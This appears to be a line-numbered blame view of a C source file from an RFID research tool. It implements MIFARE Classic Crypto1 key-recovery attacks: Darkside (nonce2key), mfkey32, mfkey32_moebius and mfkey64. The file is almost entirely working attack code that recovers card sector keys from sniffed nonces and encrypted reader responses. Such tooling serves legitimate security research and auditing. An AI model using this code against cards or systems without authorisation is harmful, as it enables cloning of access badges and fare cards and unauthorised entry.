]>
Commit | Line | Data |
---|---|---|
1 | //----------------------------------------------------------------------------- | |
2 | // Merlok - June 2011 | |
3 | // Roel - Dec 2009 | |
4 | // Unknown author | |
5 | // | |
6 | // This code is licensed to you under the terms of the GNU GPL, version 2 or, | |
7 | // at your option, any later version. See the LICENSE.txt file for the text of | |
8 | // the license. | |
9 | //----------------------------------------------------------------------------- | |
10 | // MIFARE Darkside hack | |
11 | //----------------------------------------------------------------------------- | |
12 | #include "nonce2key.h" | |
13 | ||
14 | int nonce2key(uint32_t uid, uint32_t nt, uint32_t nr, uint64_t par_info, uint64_t ks_info, uint64_t * key) { | |
15 | struct Crypto1State *state; | |
16 | uint32_t i, pos, rr = 0, nr_diff; | |
17 | byte_t bt, ks3x[8], par[8][8]; | |
18 | ||
19 | // Reset the last three significant bits of the reader nonce | |
20 | nr &= 0xffffff1f; | |
21 | ||
22 | PrintAndLog("uid(%08x) nt(%08x) par(%016"llx") ks(%016"llx") nr(%08x)\n", uid, nt, par_info, ks_info, nr); | |
23 | ||
24 | for ( pos = 0; pos < 8; pos++ ) { | |
25 | ks3x[7-pos] = (ks_info >> (pos*8)) & 0x0f; | |
26 | bt = (par_info >> (pos*8)) & 0xff; | |
27 | ||
28 | for ( i = 0; i < 8; i++) { | |
29 | par[7-pos][i] = (bt >> i) & 0x01; | |
30 | } | |
31 | } | |
32 | ||
33 | printf("+----+--------+---+-----+---------------+\n"); | |
34 | printf("|diff|{nr} |ks3|ks3^5|parity |\n"); | |
35 | printf("+----+--------+---+-----+---------------+\n"); | |
36 | for ( i = 0; i < 8; i++) { | |
37 | nr_diff = nr | i << 5; | |
38 | printf("| %02x |%08x| %01x | %01x |", i << 5, nr_diff, ks3x[i], ks3x[i]^5); | |
39 | ||
40 | for (pos = 0; pos < 7; pos++) printf("%01x,", par[i][pos]); | |
41 | printf("%01x|\n", par[i][7]); | |
42 | } | |
43 | printf("+----+--------+---+-----+---------------+\n"); | |
44 | ||
45 | clock_t t1 = clock(); | |
46 | ||
47 | state = lfsr_common_prefix(nr, rr, ks3x, par); | |
48 | lfsr_rollback_word(state, uid ^ nt, 0); | |
49 | crypto1_get_lfsr(state, key); | |
50 | crypto1_destroy(state); | |
51 | ||
52 | t1 = clock() - t1; | |
53 | if ( t1 > 0 ) PrintAndLog("Time in nonce2key: %.0f ticks \n", (float)t1); | |
54 | return 0; | |
55 | } | |
56 | ||
57 | int compar_intA(const void * a, const void * b) { | |
58 | if (*(int64_t*)b == *(int64_t*)a) return 0; | |
59 | if (*(int64_t*)b > *(int64_t*)a) return 1; | |
60 | return -1; | |
61 | } | |
62 | ||
63 | // call when PAR == 0, special attack? It seems to need two calls. with same uid, block, keytype | |
64 | int nonce2key_ex(uint8_t blockno, uint8_t keytype, uint32_t uid, uint32_t nt, uint32_t nr, uint64_t ks_info, uint64_t * key) { | |
65 | ||
66 | struct Crypto1State *state; | |
67 | uint32_t i, pos, key_count; | |
68 | uint8_t ks3x[8]; | |
69 | uint64_t key_recovered; | |
70 | int64_t *state_s; | |
71 | static uint8_t last_blockno; | |
72 | static uint8_t last_keytype; | |
73 | static uint32_t last_uid; | |
74 | static int64_t *last_keylist; | |
75 | ||
76 | if (last_uid != uid && | |
77 | last_blockno != blockno && | |
78 | last_keytype != keytype && | |
79 | last_keylist != NULL) | |
80 | { | |
81 | free(last_keylist); | |
82 | last_keylist = NULL; | |
83 | } | |
84 | last_uid = uid; | |
85 | last_blockno = blockno; | |
86 | last_keytype = keytype; | |
87 | ||
88 | // Reset the last three significant bits of the reader nonce | |
89 | nr &= 0xffffff1f; | |
90 | ||
91 | // split keystream into array | |
92 | for (pos=0; pos<8; pos++) { | |
93 | ks3x[7-pos] = (ks_info >> (pos*8)) & 0x0f; | |
94 | } | |
95 | ||
96 | // find possible states for this keystream | |
97 | state = lfsr_common_prefix_ex(nr, ks3x); | |
98 | ||
99 | if (!state) { | |
100 | PrintAndLog("Failed getting states"); | |
101 | return 1; | |
102 | } | |
103 | ||
104 | state_s = (int64_t*)state; | |
105 | ||
106 | uint32_t xored = uid ^ nt; | |
107 | ||
108 | for (i = 0; (state) && ((state + i)->odd != -1); i++) { | |
109 | lfsr_rollback_word(state + i, xored, 0); | |
110 | crypto1_get_lfsr(state + i, &key_recovered); | |
111 | *(state_s + i) = key_recovered; | |
112 | } | |
113 | ||
114 | qsort(state_s, i, sizeof(int64_t), compar_intA); | |
115 | *(state_s + i) = -1; | |
116 | ||
117 | // first call to this function. clear all other stuff and set new found states. | |
118 | if (last_keylist == NULL) { | |
119 | free(last_keylist); | |
120 | last_keylist = state_s; | |
121 | PrintAndLog("parity is all zero, testing special attack. First call, this attack needs at least two calls. Hold on..."); | |
122 | PrintAndLog("uid(%08x) nt(%08x) ks(%016"llx") nr(%08x)\n", uid, nt, ks_info, nr); | |
123 | return 1; | |
124 | } | |
125 | ||
126 | PrintAndLog("uid(%08x) nt(%08x) ks(%016"llx") nr(%08x)\n", uid, nt, ks_info, nr); | |
127 | ||
128 | //Create the intersection: | |
129 | int64_t *p1, *p2, *p3; | |
130 | p1 = p3 = last_keylist; | |
131 | p2 = state_s; | |
132 | ||
133 | while ( *p1 != -1 && *p2 != -1 ) { | |
134 | if (compar_intA(p1, p2) == 0) { | |
135 | printf("p1:%"llx" p2:%"llx" p3:%"llx" key:%012"llx"\n",(uint64_t)(p1-last_keylist),(uint64_t)(p2-state_s),(uint64_t)(p3-last_keylist),*p1); | |
136 | *p3++ = *p1++; | |
137 | p2++; | |
138 | } | |
139 | else { | |
140 | while (compar_intA(p1, p2) == -1) ++p1; | |
141 | while (compar_intA(p1, p2) == 1) ++p2; | |
142 | } | |
143 | } | |
144 | key_count = p3 - last_keylist; | |
145 | printf("key_count: %d\n", key_count); | |
146 | if ( key_count == 0 ){ | |
147 | free(state); | |
148 | state = NULL; | |
149 | return 0; | |
150 | } | |
151 | ||
152 | uint8_t retval = 1; | |
153 | // Validate all key candidates with testing each of them with mfCheckKeys | |
154 | uint8_t keyBlock[6] = {0,0,0,0,0,0}; | |
155 | uint64_t key64; | |
156 | for (i = 0; i < key_count; i++) { | |
157 | key64 = *(last_keylist + i); | |
158 | num_to_bytes(key64, 6, keyBlock); | |
159 | key64 = 0; | |
160 | if (!mfCheckKeys(blockno, keytype, false, 1, keyBlock, &key64)) { | |
161 | *key = key64; | |
162 | retval = 0; | |
163 | goto out; | |
164 | } | |
165 | } | |
166 | ||
167 | out: | |
168 | free(last_keylist); | |
169 | last_keylist = NULL; | |
170 | free(state); | |
171 | state = NULL; | |
172 | return retval; | |
173 | } | |
174 | ||
175 | // 32 bit recover key from 2 nonces | |
176 | bool tryMfk32(nonces_t data, uint64_t *outputkey, bool verbose) { | |
177 | struct Crypto1State *s,*t; | |
178 | uint64_t outkey = 0; | |
179 | uint64_t key=0; // recovered key | |
180 | uint32_t uid = data.cuid; | |
181 | uint32_t nt = data.nonce; // first tag challenge (nonce) | |
182 | uint32_t nr0_enc = data.nr; // first encrypted reader challenge | |
183 | uint32_t ar0_enc = data.ar; // first encrypted reader response | |
184 | uint32_t nr1_enc = data.nr2; // second encrypted reader challenge | |
185 | uint32_t ar1_enc = data.ar2; // second encrypted reader response | |
186 | bool isSuccess = FALSE; | |
187 | uint8_t counter = 0; | |
188 | ||
189 | clock_t t1 = clock(); | |
190 | uint32_t p64 = prng_successor(nt, 64); | |
191 | ||
192 | if ( verbose ) { | |
193 | printf("Recovering key for:\n"); | |
194 | printf(" uid: %08x\n",uid); | |
195 | printf(" nt: %08x\n",nt); | |
196 | printf(" {nr_0}: %08x\n",nr0_enc); | |
197 | printf(" {ar_0}: %08x\n",ar0_enc); | |
198 | printf(" {nr_1}: %08x\n",nr1_enc); | |
199 | printf(" {ar_1}: %08x\n",ar1_enc); | |
200 | printf("\nLFSR succesors of the tag challenge:\n"); | |
201 | printf(" nt': %08x\n", p64); | |
202 | printf(" nt'': %08x\n", prng_successor(p64, 32)); | |
203 | } | |
204 | ||
205 | s = lfsr_recovery32(ar0_enc ^ p64, 0); | |
206 | ||
207 | for(t = s; t->odd | t->even; ++t) { | |
208 | lfsr_rollback_word(t, 0, 0); | |
209 | lfsr_rollback_word(t, nr0_enc, 1); | |
210 | lfsr_rollback_word(t, uid ^ nt, 0); | |
211 | crypto1_get_lfsr(t, &key); | |
212 | crypto1_word(t, uid ^ nt, 0); | |
213 | crypto1_word(t, nr1_enc, 1); | |
214 | if (ar1_enc == (crypto1_word(t, 0, 0) ^ p64)) { | |
215 | outkey = key; | |
216 | ++counter; | |
217 | if (counter==20) break; | |
218 | } | |
219 | } | |
220 | isSuccess = (counter > 0); | |
221 | t1 = clock() - t1; | |
222 | if ( t1 > 0 ) PrintAndLog("Time in mfkey32: %.0f ticks - possible keys %d\n", (float)t1, counter); | |
223 | ||
224 | *outputkey = ( isSuccess ) ? outkey : 0; | |
225 | crypto1_destroy(s); | |
226 | return isSuccess; | |
227 | } | |
228 | ||
229 | bool tryMfk32_moebius(nonces_t data, uint64_t *outputkey, bool verbose) { | |
230 | struct Crypto1State *s, *t; | |
231 | uint64_t outkey = 0; | |
232 | uint64_t key = 0; // recovered key | |
233 | uint32_t uid = data.cuid; | |
234 | uint32_t nt0 = data.nonce; // first tag challenge (nonce) | |
235 | uint32_t nr0_enc = data.nr; // first encrypted reader challenge | |
236 | uint32_t ar0_enc = data.ar; // first encrypted reader response | |
237 | //uint32_t uid1 = le32toh(data+16); | |
238 | uint32_t nt1 = data.nonce2; // second tag challenge (nonce) | |
239 | uint32_t nr1_enc = data.nr2; // second encrypted reader challenge | |
240 | uint32_t ar1_enc = data.ar2; // second encrypted reader response | |
241 | bool isSuccess = FALSE; | |
242 | int counter = 0; | |
243 | ||
244 | clock_t t1 = clock(); | |
245 | ||
246 | uint32_t p640 = prng_successor(nt0, 64); | |
247 | uint32_t p641 = prng_successor(nt1, 64); | |
248 | ||
249 | if (verbose) { | |
250 | printf("Recovering key for:\n"); | |
251 | printf(" uid: %08x\n", uid); | |
252 | printf(" nt_0: %08x\n", nt0); | |
253 | printf(" {nr_0}: %08x\n", nr0_enc); | |
254 | printf(" {ar_0}: %08x\n", ar0_enc); | |
255 | printf(" nt_1: %08x\n", nt1); | |
256 | printf(" {nr_1}: %08x\n", nr1_enc); | |
257 | printf(" {ar_1}: %08x\n", ar1_enc); | |
258 | printf("\nLFSR succesors of the tag challenge:\n"); | |
259 | printf(" nt': %08x\n", p640); | |
260 | printf(" nt'': %08x\n", prng_successor(p640, 32)); | |
261 | } | |
262 | ||
263 | s = lfsr_recovery32(ar0_enc ^ p640, 0); | |
264 | ||
265 | for(t = s; t->odd | t->even; ++t) { | |
266 | lfsr_rollback_word(t, 0, 0); | |
267 | lfsr_rollback_word(t, nr0_enc, 1); | |
268 | lfsr_rollback_word(t, uid ^ nt0, 0); | |
269 | crypto1_get_lfsr(t, &key); | |
270 | ||
271 | crypto1_word(t, uid ^ nt1, 0); | |
272 | crypto1_word(t, nr1_enc, 1); | |
273 | if (ar1_enc == (crypto1_word(t, 0, 0) ^ p641)) { | |
274 | outkey=key; | |
275 | ++counter; | |
276 | if (counter==20) break; | |
277 | } | |
278 | } | |
279 | isSuccess = (counter > 0); | |
280 | t1 = clock() - t1; | |
281 | if ( t1 > 0 ) PrintAndLog("Time in mfkey32_moebius: %.0f ticks - possible keys %d\n", (float)t1, counter); | |
282 | ||
283 | *outputkey = ( isSuccess ) ? outkey : 0; | |
284 | crypto1_destroy(s); | |
285 | return isSuccess; | |
286 | } | |
287 | ||
288 | int tryMfk64_ex(uint8_t *data, uint64_t *outputkey){ | |
289 | uint32_t uid = le32toh(data); | |
290 | uint32_t nt = le32toh(data+4); // tag challenge | |
291 | uint32_t nr_enc = le32toh(data+8); // encrypted reader challenge | |
292 | uint32_t ar_enc = le32toh(data+12); // encrypted reader response | |
293 | uint32_t at_enc = le32toh(data+16); // encrypted tag response | |
294 | return tryMfk64(uid, nt, nr_enc, ar_enc, at_enc, outputkey); | |
295 | } | |
296 | ||
297 | int tryMfk64(uint32_t uid, uint32_t nt, uint32_t nr_enc, uint32_t ar_enc, uint32_t at_enc, uint64_t *outputkey){ | |
298 | uint64_t key = 0; // recovered key | |
299 | uint32_t ks2; // keystream used to encrypt reader response | |
300 | uint32_t ks3; // keystream used to encrypt tag response | |
301 | struct Crypto1State *revstate; | |
302 | ||
303 | PrintAndLog("Enter mfkey64"); | |
304 | clock_t t1 = clock(); | |
305 | ||
306 | // Extract the keystream from the messages | |
307 | ks2 = ar_enc ^ prng_successor(nt, 64); | |
308 | ks3 = at_enc ^ prng_successor(nt, 96); | |
309 | revstate = lfsr_recovery64(ks2, ks3); | |
310 | lfsr_rollback_word(revstate, 0, 0); | |
311 | lfsr_rollback_word(revstate, 0, 0); | |
312 | lfsr_rollback_word(revstate, nr_enc, 1); | |
313 | lfsr_rollback_word(revstate, uid ^ nt, 0); | |
314 | crypto1_get_lfsr(revstate, &key); | |
315 | ||
316 | PrintAndLog("Found Key: [%012"llx"]", key); | |
317 | t1 = clock() - t1; | |
318 | if ( t1 > 0 ) PrintAndLog("Time in mfkey64: %.0f ticks \n", (float)t1); | |
319 | ||
320 | *outputkey = key; | |
321 | crypto1_destroy(revstate); | |
322 | return 0; | |
323 | } |